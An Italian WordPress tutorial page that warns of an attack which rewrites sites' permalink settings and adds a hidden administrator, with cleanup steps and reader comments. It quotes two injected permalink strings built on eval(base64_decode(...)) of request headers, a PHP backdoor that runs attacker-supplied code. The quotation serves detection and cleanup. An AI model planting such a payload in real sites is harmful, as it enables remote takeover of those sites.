Tutorial WordPress affidabili, quando ne hai più bisogno.
Guida per principianti a WordPress
WPB Cup
25 Milioni+
Siti web che utilizzano i nostri plugin
16+
Anni di esperienza con WordPress
3000+
Tutorial WordPress di esperti

SQL Injection di WordPress – Ultimo attacco

Molti siti vengono colpiti da un recente attacco SQL in cui codici vengono iniettati nel tuo sito. Questa iniezione MySQL influisce sui tuoi permalink rendendoli inefficaci. Di conseguenza, gli URL dei tuoi post del blog non funzioneranno. Numerosi blog di WordPress sono stati presi di mira in questo attacco, Grazie a Andy Soward per aver portato questo alla nostra attenzione.

C'era uno dei seguenti codici che sono stati aggiunti alla tua struttura dei permalink a causa di questo attacco:

%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%

“/%&(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_EXECCODE%5D))%7D%7D|.+)&%

Queste virgolette sono state aggiunte a tutti i permalink sul tuo sito e possono essere modificate solo se rimosse manualmente.

Per risolvere questo problema vai su:

Impostazioni > Permalink e rimuovi il codice sopra e sostituisci il tuo codice predefinito.

La prossima cosa che devi fare è andare su Utenti. Vedrai che c'è più di un amministratore. Non vedrai i loro nomi elencati, ma vedrai il conteggio aumentare. Quindi quello che devi fare è guardare tutti gli utenti e trovare l'ultimo che si è registrato. Passa il mouse sopra quell'utente e ottieni il link. Cambia il codice userid= aggiungendo 1 a quel numero. Quindi se l'ultimo utente che puoi vedere era l'utente n. 2, aggiungi 1 e rendilo 3. Dovresti trovare che l'admin nascosto ha un codice strano come nome. Elimina il codice e rendilo un abbonato. Quindi torna indietro e cancellalo.

Questo dovrebbe risolvere il problema. Puoi anche eliminarlo semplicemente andando su PHPMyAdmin. Perché vedrai l'utente lì.

Volevamo solo diffondere questa notizia il prima possibile, in modo che i nostri utenti possano essere aggiornati. Assicurati che il tuo blog non sia infetto. Speriamo che WordPress rilasci presto una versione.

Inoltre, se non hai implementato alcune di queste misure per proteggere la tua Area di amministrazione di WordPress.

Dichiarazione: Il nostro contenuto è supportato dai lettori. Ciò significa che se fai clic su alcuni dei nostri link, potremmo guadagnare una commissione. Vedi come è finanziato WPBeginner, perché è importante e come puoi supportarci. Ecco il nostro processo editoriale.

Il Toolkit WordPress Definitivo

Ottieni l'accesso GRATUITO al nostro toolkit - una raccolta di prodotti e risorse relative a WordPress che ogni professionista dovrebbe avere!

Interazioni del lettore

8 CommentsLeave a Reply

  1. Il database del mio sito web è stato iniettato qualche giorno fa, aggiungendo alcuni strani caratteri e parole dopo ogni URL di post o pagina. Non ho trovato nulla di strano nelle impostazioni: permalink o nel menu utenti. Cosa fare per risolvere questo problema, per favore? La mia compagnia di hosting ha anche un backup del database infetto!

  2. sono stato colpito da questo due volte.

    la prima volta è stata un'iniezione SQL del plugin wassup, questa volta non sono sicuro. il mio provider di hosting mi ha bloccato.

    una volta ripristinato il mio account, rimuoverò wordpress.. Ne ho abbastanza!

    • Apprezziamo molto questo commento, il problema non era con WP Super Cache, crediamo fosse il plugin chiamato WP External Link. Abbiamo disinstallato e reinstallato WP-Super Cache due volte, ma poi abbiamo confrontato il server di sviluppo dove tutto funzionava bene. La differenza era questo plugin. Quando abbiamo rimosso quel plugin ha funzionato. Ora puoi leggere quel post.

      Amministratore

      • Maybe that was WP External Link and Super Cache conflict…
        I see my pasted WP-Super-Cache html comment above works as html comment and is invisible :) Text was “Page not cached by WP Super Cache. No closing HTML tag. Check your theme”.
        So last Super Cache ver. promises to do not html validity check.

        Oh, sto leggendo!
        Grazie mille!

Lascia una risposta

Grazie per aver scelto di lasciare un commento. Tieni presente che tutti i commenti sono moderati secondo la nostra politica sui commenti, e il tuo indirizzo email NON verrà pubblicato. Si prega di NON utilizzare parole chiave nel campo del nome. Avviamo una conversazione personale e significativa.